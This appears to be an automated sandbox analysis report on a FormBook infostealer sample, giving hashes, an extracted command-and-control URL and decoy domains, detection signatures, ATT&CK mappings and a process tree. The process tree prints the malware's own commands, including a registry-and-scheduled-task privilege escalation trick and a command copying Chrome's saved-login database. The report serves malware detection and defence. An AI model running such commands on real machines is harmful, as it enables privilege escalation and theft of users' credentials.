Analysis

  • max time kernel
    148s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    21-10-2021 18:41

General

  • Target

    61f55bceba5b9a52c750555d62fc7ae9.exe

  • Size

    973KB

  • MD5

    61f55bceba5b9a52c750555d62fc7ae9

  • SHA1

    57f083ea441e1a67c2c1a99d264474ee49388fe7

  • SHA256

    7080315530bc6d7ead65034c1587e4596d9dbf0fc17107fbb28f84bf016009f9

  • SHA512

    f7f00c594d03a73dd8b3c85df4a2ad17aac0fab0ab274ac08ee5dadb51218ce49ec7c89f8feaf0805a49fd8f11abbf29a0d397a248467d4f17fda37290dd9712

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

og2w

C2

http://www.wakecountyrealtyexpert.com/og2w/

Decoy

patriotxf.com

thecreagles.com

riverdenim.com

cybqo.com

zzfangnan.com

empowerhis.com

resiliencewearmiami.com

myticketly.com

pistachio.land

13055.club

millennialsofacertainage.com

jnxdsgc.com

pixelsandplastic.digital

bugroster.com

chargedockz.com

gzyazsp.com

sintec-consultores.com

pourtonmobile.com

upmhss.com

amkanalrajhi.com

Signatures

  • Formbook

    Formbook is a data stealing malware which is capable of stealing data.

  • suricata: ET MALWARE FormBook CnC Checkin (GET)

    suricata: ET MALWARE FormBook CnC Checkin (GET)

  • suricata: ET MALWARE FormBook CnC Checkin (POST) M2

    suricata: ET MALWARE FormBook CnC Checkin (POST) M2

  • Formbook Payload 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry key 1 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2888
    • C:\Users\Admin\AppData\Local\Temp\61f55bceba5b9a52c750555d62fc7ae9.exe
      "C:\Users\Admin\AppData\Local\Temp\61f55bceba5b9a52c750555d62fc7ae9.exe"
      2⤵
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:756
      • C:\Windows\SysWOW64\DpiScaling.exe
        C:\Windows\System32\DpiScaling.exe
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        PID:4440
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Trast.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4300
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:672
          • C:\Windows\SysWOW64\reg.exe
            reg delete hkcu\Environment /v windir /f
            5⤵
            • Modifies registry key
            PID:60
          • C:\Windows\SysWOW64\reg.exe
            reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
            5⤵
            • Modifies registry key
            PID:1072
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
            5⤵
              PID:1248
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Public\nest.bat" "
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2104
          • C:\Windows\SysWOW64\reg.exe
            reg delete hkcu\Environment /v windir /f
            4⤵
            • Modifies registry key
            PID:2504
      • C:\Windows\SysWOW64\mstsc.exe
        "C:\Windows\SysWOW64\mstsc.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Modifies Internet Explorer settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1328
        • C:\Windows\SysWOW64\cmd.exe
          /c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V
          3⤵
            PID:1656
          • C:\Program Files\Mozilla Firefox\Firefox.exe
            "C:\Program Files\Mozilla Firefox\Firefox.exe"
            3⤵
              PID:2768

        Network

        MITRE ATT&CK Matrix ATT&CK v6

        Persistence

        Registry Run Keys / Startup Folder

        1
        T1060

        Defense Evasion

        Modify Registry

        3
        T1112

        Credential Access

        Credentials in Files

        1
        T1081

        Collection

        Data from Local System

        1
        T1005

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\DB1
          MD5

          b608d407fc15adea97c26936bc6f03f6

          SHA1

          953e7420801c76393902c0d6bb56148947e41571

          SHA256

          b281ce54125d4250a80f48fcc02a8eea53f2c35c3b726e2512c3d493da0013bf

          SHA512

          cc96ddf4bf90d6aaa9d86803cb2aa30cd8e9b295aee1bd5544b88aeab63dc60bb1d4641e846c9771bab51aabbfbcd984c6d3ee83b96f5b65d09c0841d464b9e4

        • C:\Users\Admin\AppData\Roaming\64787901\647logim.jpeg
          MD5

          73810d49ab1cccedeab92e7532d93fc0

          SHA1

          97a5b9951f03765280bdfeb27777afd69d50d5bd

          SHA256

          f00a4b519c2abd75d5229a815d817f824a6eb2e03ffb168ffc490c5c1e62cfbb

          SHA512

          c8821a7bf58a135cfbad912fdf75861c5d81655568feeafaf9e8919b0714257a74cf788f329b6711be7ad36000802027bfa2fa70efe0390f321169dfcfbe9c23

        • C:\Users\Admin\AppData\Roaming\64787901\647logrf.ini
          MD5

          2f245469795b865bdd1b956c23d7893d

          SHA1

          6ad80b974d3808f5a20ea1e766c7d2f88b9e5895

          SHA256

          1662d01a2d47b875a34fc7a8cd92e78cb2ba7f34023c7fd2639cbb10b8d94361

          SHA512

          909f189846a5d2db208a5eb2e7cb3042c0f164caf437e2b1b6de608c0a70e4f3510b81b85753dbeec1e211e6a83e6ea8c96aff896e9b6e8ed42014473a54dc4f

        • C:\Users\Admin\AppData\Roaming\64787901\647logrg.ini
          MD5

          4aadf49fed30e4c9b3fe4a3dd6445ebe

          SHA1

          1e332822167c6f351b99615eada2c30a538ff037

          SHA256

          75034beb7bded9aeab5748f4592b9e1419256caec474065d43e531ec5cc21c56

          SHA512

          eb5b3908d5e7b43ba02165e092f05578f45f15a148b4c3769036aa542c23a0f7cd2bc2770cf4119a7e437de3f681d9e398511f69f66824c516d9b451bb95f945

        • C:\Users\Admin\AppData\Roaming\64787901\647logri.ini
          MD5

          d63a82e5d81e02e399090af26db0b9cb

          SHA1

          91d0014c8f54743bba141fd60c9d963f869d76c9

          SHA256

          eaece2eba6310253249603033c744dd5914089b0bb26bde6685ec9813611baae

          SHA512

          38afb05016d8f3c69d246321573997aaac8a51c34e61749a02bf5e8b2b56b94d9544d65801511044e1495906a86dc2100f2e20ff4fcbed09e01904cc780fdbad

        • C:\Users\Admin\AppData\Roaming\64787901\647logrv.ini
          MD5

          bbc41c78bae6c71e63cb544a6a284d94

          SHA1

          33f2c1d9fa0e9c99b80bc2500621e95af38b1f9a

          SHA256

          ee83c6bcea9353c74bfc0a7e739f3c4a765ace894470e09cdcdebba700b8d4cb

          SHA512

          0aea424b57adae3e14ad6491cab585f554b4dffe601b5a17bad6ee6177d2f0f995e419cde576e2d1782b9bddc0661aada11a2c9f1454ae625d9e3223635ec9f4

        • C:\Users\Public\Trast.bat
          MD5

          4068c9f69fcd8a171c67f81d4a952a54

          SHA1

          4d2536a8c28cdcc17465e20d6693fb9e8e713b36

          SHA256

          24222300c78180b50ed1f8361ba63cb27316ec994c1c9079708a51b4a1a9d810

          SHA512

          a64f9319acc51fffd0491c74dcd9c9084c2783b82f95727e4bfe387a8528c6dcf68f11418e88f1e133d115daf907549c86dd7ad866b2a7938add5225fbb2811d

        • C:\Users\Public\UKO.bat
          MD5

          eaf8d967454c3bbddbf2e05a421411f8

          SHA1

          6170880409b24de75c2dc3d56a506fbff7f6622c

          SHA256

          f35f2658455a2e40f151549a7d6465a836c33fa9109e67623916f889849eac56

          SHA512

          fe5be5c673e99f70c93019d01abb0a29dd2ecf25b2d895190ff551f020c28e7d8f99f65007f440f0f76c5bcac343b2a179a94d190c938ea3b9e1197890a412e9

        • C:\Users\Public\nest.bat
          MD5

          8ada51400b7915de2124baaf75e3414c

          SHA1

          1a7b9db12184ab7fd7fce1c383f9670a00adb081

          SHA256

          45aa3957c29865260a78f03eef18ae9aebdbf7bea751ecc88be4a799f2bb46c7

          SHA512

          9afc138157a4565294ca49942579cdb6f5d8084e56f9354738de62b585f4c0fa3e7f2cbc9541827f2084e3ff36c46eed29b46f5dd2444062ffcd05c599992e68

        • memory/60-122-0x0000000000000000-mapping.dmp
        • memory/672-120-0x0000000000000000-mapping.dmp
        • memory/756-115-0x0000000000640000-0x000000000078A000-memory.dmp
          Filesize

          1.3MB

        • memory/1072-125-0x0000000000000000-mapping.dmp
        • memory/1248-126-0x0000000000000000-mapping.dmp
        • memory/1328-131-0x0000000000000000-mapping.dmp
        • memory/1328-134-0x0000000002E50000-0x0000000002E7F000-memory.dmp
          Filesize

          188KB

        • memory/1328-133-0x0000000000850000-0x0000000000B4C000-memory.dmp
          Filesize

          3.0MB

        • memory/1328-135-0x0000000004740000-0x0000000004A60000-memory.dmp
          Filesize

          3.1MB

        • memory/1328-140-0x00000000044A0000-0x0000000004533000-memory.dmp
          Filesize

          588KB

        • memory/1656-132-0x0000000000000000-mapping.dmp
        • memory/2104-137-0x0000000000000000-mapping.dmp
        • memory/2504-139-0x0000000000000000-mapping.dmp
        • memory/2888-141-0x0000000005500000-0x000000000564A000-memory.dmp
          Filesize

          1.3MB

        • memory/2888-130-0x00000000067F0000-0x0000000006998000-memory.dmp
          Filesize

          1.7MB

        • memory/4300-118-0x0000000000000000-mapping.dmp
        • memory/4440-128-0x0000000004950000-0x0000000004C70000-memory.dmp
          Filesize

          3.1MB

        • memory/4440-129-0x0000000000C90000-0x0000000000CA4000-memory.dmp
          Filesize

          80KB

        • memory/4440-124-0x0000000072480000-0x00000000724AF000-memory.dmp
          Filesize

          188KB

        • memory/4440-123-0x0000000000590000-0x0000000000591000-memory.dmp
          Filesize

          4KB

        • memory/4440-117-0x0000000000000000-mapping.dmp